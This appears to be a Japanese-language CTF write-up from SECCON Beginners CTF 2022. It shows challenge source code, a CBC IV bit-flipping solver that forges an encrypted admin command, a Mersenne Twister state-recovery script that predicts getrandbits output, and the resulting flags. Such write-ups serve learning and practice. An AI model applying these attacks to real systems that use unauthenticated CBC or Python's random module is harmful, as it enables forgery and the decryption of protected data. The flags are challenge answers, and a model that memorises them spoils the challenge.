配布されるスクリプトを確認してみよう。
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import isPrime
from secret import FLAG, key
import os
def main():
while True:
print('----- Menu -----')
print('1. Encrypt command')
print('2. Execute encrypted command')
print('3. Exit')
select = int(input('> '))
if select == 1:
encrypt()
elif select == 2:
execute()
elif select == 3:
break
else:
pass
print()
def encrypt():
print('Available commands: fizzbuzz, primes, getflag')
cmd = input('> ').encode()
if cmd not in [b'fizzbuzz', b'primes', b'getflag']:
print('unknown command')
return
if b'getflag' in cmd:
print('this command is for admin')
return
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(cmd, 16))
print(f'Encrypted command: {(iv+enc).hex()}')
def execute():
inp = bytes.fromhex(input('Encrypted command> '))
iv, enc = inp[:16], inp[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
try:
cmd = unpad(cipher.decrypt(enc), 16)
if cmd == b'fizzbuzz':
fizzbuzz()
elif cmd == b'primes':
primes()
elif cmd == b'getflag':
getflag()
except ValueError:
pass
def fizzbuzz():
for i in range(1, 101):
if i % 15 == 0:
print('FizzBuzz')
elif i % 3 == 0:
print('Fizz')
elif i % 5 == 0:
print('Buzz')
else:
print(i)
def primes():
for i in range(1, 101):
if isPrime(i):
print(i)
def getflag():
print(FLAG)
if __name__ == '__main__':
main()
このプログラムはfizzbuzz, primes, getflagの3つのコマンドを使うことができる、まず「1. Encrypt command」でどれか1つのコマンドをAES CBCで暗号化した出力を得られる。ただしgetflagは出力できない。
次に「2. Execute encrypted command」に暗号化された出力を入力すると復号化されてコマンドが実行される。getflagコマンドを実行できればflagを獲得できる。
PythonのAESは128bitで1つのブロックが16文字ある。したがってどのコマンドも1ブロックに収まっており、CBCビットフリップにより初期ベクトルIVを改ざんして任意の平文を作ることができる。
詳しくはLINE CTFのCRY - babycrypto2に書いてある。
入っているデータは実際に解いたときのもので、利用する場合は逐次値を入れる必要があるが以下にsolverを示す。
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import pad, unpad
ciphertext = long_to_bytes(0x4cce118b85ea7d57993d786ce441350adc16a5f7f3faf7e333647c672bcf4353)
iv = ciphertext[0:16]
plaintexthead1 = pad(b'fizzbuzz',16)
plaintexthead2 = pad(b'getflag',16)
new_iv = b''
for i in range(16):
new_iv += (iv[i]^plaintexthead1[i]^plaintexthead2[i]).to_bytes(1, byteorder="little")
new_ciphertext = new_iv + ciphertext[16:]
print(hex(bytes_to_long(new_ciphertext))[2:])
fizzbuzzコマンドで暗号化して、暗号文をsolverに入れてコマンドがgetflagになるようなIVを計算してgetflagコマンドを実行できる。
ctf4b{b1tfl1pfl4ppers}
CSPRNGじゃなければ予想できるって聞きました。
- nc unpredictable-pad.quals.beginners.seccon.jp 9777
- unpredictable_pad.tar.gz 0241b68785c047a0b9f6e5c1021105e8172edf22
競技時間中には解けなかったが、solverが書けたので掲載する。実は以前からこのsolverを用意して使う機会を伺っていたが、今回はうまく使えなかった。
さて、サーバーでプログラムが動いており、入力によって適当な長さのgetrandbits出力を得ることができ、さらにgetrandbitsでXOR暗号のかかったflagが出力される。
Pythonは擬似乱数生成器にMT19937を利用しており、その出力を予測する問題である。
import random
import os
FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}')
def main():
r = random.Random()
for i in range(3):
try:
inp = int(input('Input to oracle: '))
if inp > 2**64:
print('input is too big')
return
oracle = r.getrandbits(inp.bit_length()) ^ inp
print(f'The oracle is: {oracle}')
except ValueError:
continue
intflag = int(FLAG.encode().hex(), 16)
encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length())
print(f'Encrypted flag: {encrypted_flag}')
if __name__ == '__main__':
main()
入力する数字と同じビット数のgetrandbits出力を3回得ることができる。競技中は64bit×3までしか入手できないと考えていたためにseed値の逆算に失敗したが、プログラムの条件をよく見ると負の数を入力すれば制限なく巨大な数を入力して大きなビット数を得ることができる。
メルセンヌ・ツイスタでは内部に32bit×624個の配列を持っており、この配列の数値にTemperingを行った結果をPythonではgetrandbits出力として得ている。原理的には32bit×624個の連続データを入手できれば、以後の疑似乱数の出力を予測可能になる。
というわけで、負の数を使って32×208bitずつgetrandbitsを出力させ、合計32bit×624入手した。Temperingの逆関数を使ってMT19937の内部配列を再現して後続の出力を得るスクリプトを書いた。
逆関数はコメントのサイトからいただいた。
#! /usr/bin/env python
from Crypto.Util.number import bytes_to_long, long_to_bytes
def Tempering(x):
x ^= ( x >> 11 )
x ^= ( x << 7 ) & 0x9d2c5680
x ^= ( x << 15 ) & 0xefc60000
x ^= ( x >> 18 )
return x
# https://plusletool.hatenablog.jp/entry/2014/10/24/213816
def Tempering_Inv(x):
x ^= ( x >> 18 )
x ^= ( x << 15 ) & 0xefc60000
x ^= ( ( x << 7 ) & 0x9d2c5680 ) ^ ( ( x << 14 ) & 0x94284000 ) ^ ( ( x << 21 ) & 0x14200000 ) ^ ( ( x << 28 ) & 0x10000000 )
x ^= ( x >> 11 ) ^ ( x >> 22 )
return x
inp = -(pow(2,32*208)-1)
ora1 = -415788549408207875782778306861965779192626647113171307245918212285816344672071736217320181595968117574876907893718854798582281124520807791700539029913733492450035291373134251227766532215159534582040811631273729338711780137211326457027426171450780809039135364450086422784324549472900640044413205276755060881851009028323302987927022345407287071281902135531347935793685975407679479511766662713965999779306662155717699292103250381663922481699990453429262412669970566264692537885171286439277251206820671675785685554205590527203271273639926077721764869204640292490295992162111371860499203469571878601700624567470228357194785097991311538637058963702294480040740974984954448088978814257313223075255434315657554047781407253432486490023807881503037719775124551157363642544834081052395147688681081588869493234570331908807198423878558127365063382566913459843021556117281671325133047420279642548876850966744341836408781867443284209497271839561794310784819832610141407778723925344677760499113489183299130839248427043512659824025567401064134015069619940654066672101606643432911708433426552353495010112203030435351379491637067318437649314124213202403941748867125638568569554873931142558979604570654162782581631193193807561774125347118402367781844603874351132578723009484309419729661224701653653273141379335211880575763533265644106208056234619512487739350983573156318965969455803506390114649770253273449305813323245228194240682226756327977123627075618166645666729665749596966715943375761569382501384519656170836470595345209488811061363442631475629471650884602257789826034119792532799744648147802920595398071122305301168123758175231778512009441574463156586800201863520501023229095255295745221915883082920833265381958197215077463918834048373873200932915931511715720446383156003522716670801517698974745221385783228255695072647714981612012109242518558515243265148686242726450593150072643640039356828886238599570366840192155207849485623360534193323816934647332381637263828605954824368577638418302010409974330024290839578586696
ora2 = -301548601793190688258862420569033581017778243895779689446399485804563920788758369563124233824905260951726453207317910729858812912185872838545497043556779236392341816467045065776939539269476010359770616599882261255043033561505673680996694244294321195756241777324918326395486508273516349218855047894672468463698421054390551130247904947104069015397842164934856323717994176639011437611639439671127900795694950930798904429667510139441901095927000776965971832959554603882025203766459367392484561968585503825160067841626012807150849544516440778219636811163016286713280446635584884842088019123708637285551011890368546190060781505137045280259255719361777747071293891936390937252442088757627716198934488675008499012116264371747822988984920346495170546046527672433820176427901589944482692618962231740139966577795412379564331981931457951134722618976442425142393073129035074859238121317707262259774370706493826036518914260859647920303073554276397089846266094644001457302708217923328695973757862043119311266891289184625349343364989340601225064182823345618182267782817255046350171395353870829864714445515278548741207275017288034507297900210728603388147779412254838989682493903986325910980450560996505144199852471493395880825351005423152243652817478471781582579496816057881636619786173118577811434443397372888064640260059747832276722711950094858977107613163218971535824350330241494388294585729293894003303651868388788909093158138011758584966646414595193327252625474417004014645592352581717937199419001196628350186993583336191205956980778532718554467069378431186034755533417918743416245311902963401020844225383089360177217114805559221475355875727215102224327955765389579282036526483925859596425116687404457154920806011602824294081854836786925970435799361824882838729002268665970222965863851924522947794924341361363470789685160170984407430879405219631601238040536260161739176791829443756080027336092343904847744746913173825830910205467516889969200447727203765476928873111151580880361575602347985530430305014544003415243428
ora3 = -72536503845512304461746692319282524046754570307017915694621258777013753131142463711438411363774212383763932655579532017548183685171739983909940866560780536201120618399160996022503901141840347813572537706202181757602863830026969934503677753291821290605429809952169966663750152180647949008192952595018628528376341026704202011867626826057552987335156857941914475354421272694336022606776608731959462989570517647155695035923181190710880885549170996625483062056533424496899671797070377385412874047694429451707111709280363551836296973347753204822100383880395123673425135788980655696979866248573206115127959564000114422318659107203367700322277312311950813585549574535673478525478812767500050385059284694087701246580364432600991372415095351823341586358218769038293654987871837669063394600989585641688218757800003841106745550672899655661913811745396100135620078645320859203646023742219614872194159473163618444640890327469136165888089066194099701019594178836379775045425203264862112948110639011256100840720584233627664434254001832057829578482755347871272618174964859132775295094799546613536992367771389706650907928056803049839769207235102040600399868334861359402853144718406300888796448313679149443644566679591662225876286867528351642769742126509260136324009025145234818625427809936704965502040181237958904029881735170062772214522555425755680882585095680846789560738301060550325937404002869424250379689018417363210575451843025062378661589754880357559900126526277068468040378589776293929755494285156291839703646107206481971467278920436184572172420623861636977265902262378879281382383198698663189168796383679551544426726268958696567065750122978471111334311262323912636947750524201181052886430849893832752931635424206734656814014708067058472627213845951041224347125034277485946801675779632173411162359462963199249299076553846787252517416237300512775281678361707869636296469977381932481066263711979805532275983074272441252891591102093593290126546632040061218426140450719153004095737282248945546061351194498096790281814
enc = 882448584542386861852001031614774863414233019015535982537060629777423387
hexstr = ""
hexstr += hex(inp ^ ora3)[2:]
hexstr += hex(inp ^ ora2)[2:]
hexstr += hex(inp ^ ora1)[2:]
mt = []
for i in range(623,-1,-1):
mt += [Tempering_Inv(int(hexstr[8*i:8*i+8],16))]
mt_next = []
for i in range(100):
# mt(i).next require mt(i).mt(i+1),mt(i+397)
prevseed1 = mt[i]
prevseed2 = mt[i+1]
prevseed397 = mt[i+397]
val = (prevseed1 & 0x80000000) | (prevseed2 & 0x7fffffff)
nextseed = prevseed397 ^ (val>>1)
if val & 1:
nextseed ^= 0x9908b0df
mt_next += [nextseed]
rand = 0
divs = enc.bit_length()//32
mods = enc.bit_length()%32
for i in range(divs):
rand += Tempering(mt_next[i])<< 32*i
rand += (Tempering(mt_next[divs]) >> (32-mods)) << 32*divs
print(long_to_bytes(enc^rand))
最初の3回のgetrandbitsでMT19937の内部配列はちょうど一周しているので、flagのXOR演算に使われる次のgetrandbits出力は再現した配列の次の状態を最初の方だけ計算すればよい。
ctf4b{M4y_MT19937_b3_w17h_y0u}
Welcome to SECCON Beginners CTF 2022!
フラグはDiscordサーバのannouncementsチャンネルにて公開されています。
- https://discord.gg/6sKxFmaUyS
フル稼働でも今の実力では難しい問題まで攻めるには時間が足りず、そのあたりができるのはチーム戦かもしれない。しかし普段であれば手を付けない問題を含めて解くことができたので非常に面白かった。いつもはCrypto/Web系ばかり解くのだが、道筋に詰まらないという点では今回Reversingが解きやすく感じた。
ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}